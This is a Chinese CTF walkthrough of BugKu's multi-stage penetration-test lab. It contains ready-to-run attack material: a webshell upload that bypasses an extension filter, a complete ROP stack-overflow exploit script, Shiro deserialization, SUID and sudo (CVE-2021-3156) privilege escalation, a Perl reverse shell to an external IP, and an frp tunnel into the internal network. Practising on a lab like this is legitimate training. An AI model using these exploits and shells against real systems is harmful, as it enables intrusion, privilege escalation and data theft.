bugkctf 渗透测试1超详细版

bugkctf 渗透测试1

下发环境进行访问

场景1

通过查看网页源代码成功找到1个flag

得到flag和提示

html 复制代码
<!--flag{950d83a16ad47127859d414009432171} PS:下个flag网站管理员才能看到哦-->

场景2

根据提示需要管理员权限,进行登录,直接登录需要邮箱和邮箱验证码,换个思路进网站的后台看看,对敏感目录进行扫描

访问admin进行尝试,会跳转到管理登录页面,进行弱口令爆破试试

成功登录,账号密码为admin/admin,进入后成功找到第二个flag以及第三个flag的提示。

场景3

发现上传配置,对上传配置进行修改,添加PHP为上传后缀

进行上传发现回显为上传文件后缀不能为空,应该是服务器检测到上传的文件后缀是php,对其进行了删除后缀,进行双写后缀试试

上传shell.pphphp,成功上传,掏出我们的蚁剑进行连接,

成功连接后在/home/ctf/flag成功找到flag

场景4

根据提示找到数据库配置文件,成功拿到数据库连接密码

这个时候需要连接数据库,因为蚁剑是非实时工具,连接数据库的时候有点困难,这个时候换成哥斯拉,重新上马连接,连接数据库

成功连接到数据库

拿到flag和提示。

场景5

在题目上发现提示

将main下载下来check一下是一个32位程序,

拖进IDA中进行分析,发现栈溢出,vul函数中没有找到相关的后门函数,需要构造ROP,

确定脚本思路,使用nmap扫描,看一下开放端口

bash 复制代码
┌──(root㉿kali-linux-2024-2)-[~]
└─# nmap 139.196.226.142   
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-22 12:48 CST
Nmap scan report for 139.196.226.142
Host is up (0.033s latency).
Not shown: 991 closed tcp ports (reset)
PORT     STATE    SERVICE
22/tcp   open     ssh
80/tcp   open     http
135/tcp  filtered msrpc
139/tcp  filtered netbios-ssn
445/tcp  filtered microsoft-ds
593/tcp  filtered http-rpc-epmap
4444/tcp filtered krb524
8080/tcp open     http-proxy
9999/tcp open     abyss

Nmap done: 1 IP address (1 host up) scanned in 1.78 seconds

成功得到端口是9999,编写利用脚本

bash 复制代码
from pwn import *
from LibcSearcher import LibcSearcher
r = remote('139.196.226.142', 9999) #需要替换成自己的IP
elf = ELF('./main')
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.sym['main']
#构造第一次溢出
payload = b'a' * (0x28)  # 填充 0x28 字节,造成栈溢出
payload += p32(write_plt)  # 调用 write 函数
payload += p32(main_addr)  # 返回到 main 函数,重新利用输入点
payload += p32(1)  # write 函数的第一个参数:stdout
payload += p32(write_got)  # write 函数的第二个参数:write 的got地址
payload += p32(4)  # write 函数的第三个参数:写入 4 字节
r.sendlineafter(b'plz input your name:\n', payload)

# 接收got地址
write_addr = u32(r.recv(4))
log.info(f"write 的地址: {hex(write_addr)}")

# 查找 libc 版本
libc = LibcSearcher('write', write_addr)
offset = write_addr - libc.dump('write')
system_addr = offset + libc.dump('system')
bin_sh_addr = offset + libc.dump('str_bin_sh')
log.info(f"system 的地址: {hex(system_addr)}")
log.info(f"/bin/sh 的地址: {hex(bin_sh_addr)}")
# 构造第二次溢出的 payload,调用 system("/bin/sh")
payload = b'a' * (0x28)  # 填充 0x28 字节,造成栈溢出
payload += p32(system_addr)  # 调用 system 函数
payload += p32(main_addr)  # 返回到 main 函数,防止程序崩溃
payload += p32(bin_sh_addr)  # system 函数的参数:/bin/sh

# 发送 payload
r.sendline(payload)

# 进入交互模式,获取 shell
r.interactive()

编写后开始运行

场景6、场景7

根据上个场景的提示要注意8080,之前nmap也扫描出来了8080端口,进行访问

又是一个登录界面,同时指纹探测出来是java的,抓包看看那个框架

老规矩,使用弱口令试试,开启burp进行抓包,发现关键字段,

Set-Cookie: rememberMe=deleteMe; 是与 Shiro 框架 相关的 Cookie 设置。确定框架为Shiro,直接掏出我们的shiro反序列化漏洞综合利用工具

成功利用框架漏洞,可以正常使用功能区了

cat命令读取root下的flag发现权限不够,只能读取到home/flag的,提交发现是场景7的flag,猜测网站中应该还有flag,通过find / -type f -exec grep -l "flag" {} \; 2>/dev/null命令进行查找

bash 复制代码
find / -type f -exec grep -l "flag" {} \; 2>/dev/null

命令解释:

  • find /:从根目录 / 开始递归查找。
  • -type f:只查找文件(不包括目录)。
  • -exec grep -l "flag" {} \;:对每个文件执行 grep 命令,查找文件内容中是否包含 flag
    • -l:只输出包含匹配内容的文件名。
  • 2>/dev/null:忽略错误信息(如权限不足的提示)。

找到的文件过多,一个一个查找过多,

换个思路,扫描一下网站,看看是否存在未发现的细节

经过扫描目录发现/robots.txt,进行访问,果然发现之前出现了遗漏

这个才是场景六的flag,

场景8

在场景7中已经成功利用框架漏洞,对其进行内存马注入,成功注入

掏出我们的哥斯拉对其进行连接,这里要注意将有效载荷(即文件类型)换成java

进入命令执行页面,在场景7中的root/flag显示过是权限不足,这里就需要进行提权了。试试suid提权------当一个文件设置了 SUID 权限时,用户在执行该文件时会以文件所有者的权限运行,而不是以当前用户的权限运行。

bash 复制代码
find / -perm -4000 -type f 2>/dev/null 

回显出现find,利用find命令提权

bash 复制代码
find flag -exec whoami \;
  • find flag:在当前目录下查找名为 flag 的文件或目录。
  • -exec whoami \;:对每个找到的文件或目录执行 whoami 命令。
  • whoami:显示当前用户的用户名。
  • \;:表示 -exec 命令的结束。
bash 复制代码
find flag -exec cat /root/flag \;

成功读取到flag,并且还有提示Internal network------内网。

场景9

通过上一个场景写入的内存马进行连接,上传fscan,同时通过反弹shell来建立一个真正的实时终端。

在服务器上开启监听

bash 复制代码
nc -lvp 5656

端口可以自定义修改,只需要同时修改自己的IP和端口即可

在靶机终端创建反弹shell

bash 复制代码
perl -e 'use Socket;$i="117.72.37.106";$p=5656;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

成功弹回

这个时候还不是实时连接,使用script 命令来换成实时终端

bash 复制代码
script 命令用于记录终端会话的所有输入和输出

实时终端创建完成,开始进行内网穿透,

查看IP

bash 复制代码
ip -a

得出本机IP是192.168.0.3,上传fscan进行扫描

bash 复制代码
 ./fscan -h 192.168.0.3/24 -nobr -o res.txt
  • -h 192.168.0.3/24: 指定扫描的目标网络。192.168.0.3/24 表示扫描 192.168.0.0192.168.0.255 范围内的所有 IP 地址。
  • -o res.txt: 指定输出文件为 res.txt,扫描结果将保存到这个文件中。

扫描完成后对res.txt进行查看,扫描出四个地址

bash 复制代码
192.168.0.4:3306 open
192.168.0.2:80 open
192.168.0.1:80 open
192.168.0.4:80 open
192.168.0.1:22 open
192.168.0.3:8080 open
192.168.0.1:8080 open
192.168.0.2:9999 open
192.168.0.1:9999 open
[*] WebTitle: http://192.168.0.3:8080   code:302 len:0      title:None 跳转url: http://192.168.0.3:8080/login;jsessionid=961F749750790C23558059F9558586CC
[*] WebTitle: http://192.168.0.1:8080   code:302 len:0      title:None 跳转url: http://192.168.0.1:8080/login;jsessionid=9D9594C712238D5BDE8FD17F9A03BAF2
[*] WebTitle: http://192.168.0.1:8080/login;jsessionid=9D9594C712238D5BDE8FD17F9A03BAF2 code:200 len:2608   title:Login Page
[*] WebTitle: http://192.168.0.3:8080/login;jsessionid=961F749750790C23558059F9558586CC code:200 len:2608   title:Login Page
[*] WebTitle: http://192.168.0.1        code:200 len:59431  title:W3School教程系统 | 打造专一的web在线教程系统
[*] WebTitle: http://192.168.0.2        code:200 len:59431  title:W3School教程系统 | 打造专一的web在线教程系统
[*] WebTitle: http://192.168.0.4        code:200 len:8351   title:博客首页
[+] http://192.168.0.4 poc-yaml-thinkphp5023-method-rce poc1
[+] http://192.168.0.1:8080/ poc-yaml-shiro-key [{key kPH+bIxk5D2deZiIxcaaaA==} {mode cbc}]
[+] http://192.168.0.3:8080/ poc-yaml-shiro-key [{key kPH+bIxk5D2deZiIxcaaaA==} {mode cbc}]

通过ftp搭建Socks5代理,在服务端对frps配置文件进行修改

bash 复制代码
bindPort = 7000

加权,运行

bash 复制代码
chmod +x frps
./frps -c frps.toml

上传frp客户端到靶机地址,并对frp客户端的配置文件进行修改

plain 复制代码
[common]
server_addr = 117.72.37.106
server_port = 7000

[socks5]
type = tcp
local_ip = 127.0.0.1
local_port = 1080
remote_port = 10800
plugin = socks5

加权,运行

bash 复制代码
chmod +x frpc
./frpc -c frpc.toml

成功搭建,更改真机代理和浏览器代理,进行访问

访问192.168.0.4地址,发现是thinkphp 5023 rce,直接使用payload打

成功注入木马,蚁剑连接(连接过程需要配置代理)

在网站根目录发现flag,成功提交还有提示数据库。

场景10

既然提示数据库了,先看看数据库的配置文件,确定一下数据库的账户密码,文件为/var/www/html/application/database.php

sql 复制代码
<?phpa1
return [
    // 数据库类型
    'type'            => 'mysql',
    // 服务器地址
    'hostname'        => '127.0.0.1',
    // 数据库名
    'database'        => 'aman',
    // 用户名
    'username'        => 'aman',
    // 密码
    'password'        => 'aman123',

成功拿到数据库账号密码,蚁剑连接数据库有点困难,这个时候在此上传一个哥斯拉的木马,然后进行连接(连接过程同样需要配置代理),连接后进行数据库操作

成功连接数据库读取到flag

场景11

从上一个场景的提示以及题目本身的提示,可以确定需要进行提权了

使用检测脚本确认一下要利用的漏洞

bash 复制代码
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh

同时查看一下各项的版本

bash 复制代码
#!/bin/bash
echo "=== 系统漏洞检测脚本 ==="
echo "检查内核版本"
uname -r
echo "检查 polkit 版本"
pkexec --version
echo "检查 OpenSSH 版本"
ssh -V 2>&1 | grep -i "OpenSSH"
echo "检查 OpenSSL 版本"
openssl version
echo "检查 Apache 版本"
apache2 -v 2>/dev/null || httpd -v 2>/dev/null
echo "检查 Nginx 版本"
nginx -v 2>&1
echo "检查 MySQL 版本"
mysql --version
echo "检查 PostgreSQL 版本"
psql --version
echo "检查 Docker 版本"
docker --version
echo "检查sudo版本"
sudo -V
echo "=== 检测完成 ==="

发现pkexec version 0.105,可以使用CVE-2021-4034来进行提权,Sudo version 1.8.31,可以使用CVE-2021-3156来提权,这里使用CVE-2021-3156来进行提权,从github上下载提权脚本,进行上传,上传完成后,加权,make一下,

通过命令././exploit 'cat /root/flag'成功读取到root账户下的flag,完成通关。

相关推荐
LUCIAZZZ1 小时前
简单的SQL语句的快速复习
java·数据库·sql
云空2 小时前
《DeepSeek 网页/API 性能异常(DeepSeek Web/API Degraded Performance):网络安全日志》
运维·人工智能·web安全·网络安全·开源·网络攻击模型·安全威胁分析
doubt。3 小时前
8.攻防世界Web_php_wrong_nginx_config
网络·安全·web安全·网络安全
Elastic 中国社区官方博客3 小时前
使用真实 Elasticsearch 进行高级集成测试
大数据·数据库·elasticsearch·搜索引擎·全文检索·jenkins·集成测试
@_@哆啦A梦3 小时前
Redis 基础命令
java·数据库·redis
fajianchen3 小时前
MySQL 索引存储结构
数据库·mysql
想做富婆3 小时前
oracle: 多表查询之联合查询[交集intersect, 并集union,差集minus]
数据库·oracle·联合查询
xianwu5435 小时前
反向代理模块jmh
开发语言·网络·数据库·c++·mysql
Leven1995275 小时前
Flink (十三) :Table API 与 DataStream API 的转换 (一)
数据库·sql·flink
geovindu5 小时前
neo4j-community-5.26.0 create new database
数据库·mysql·neo4j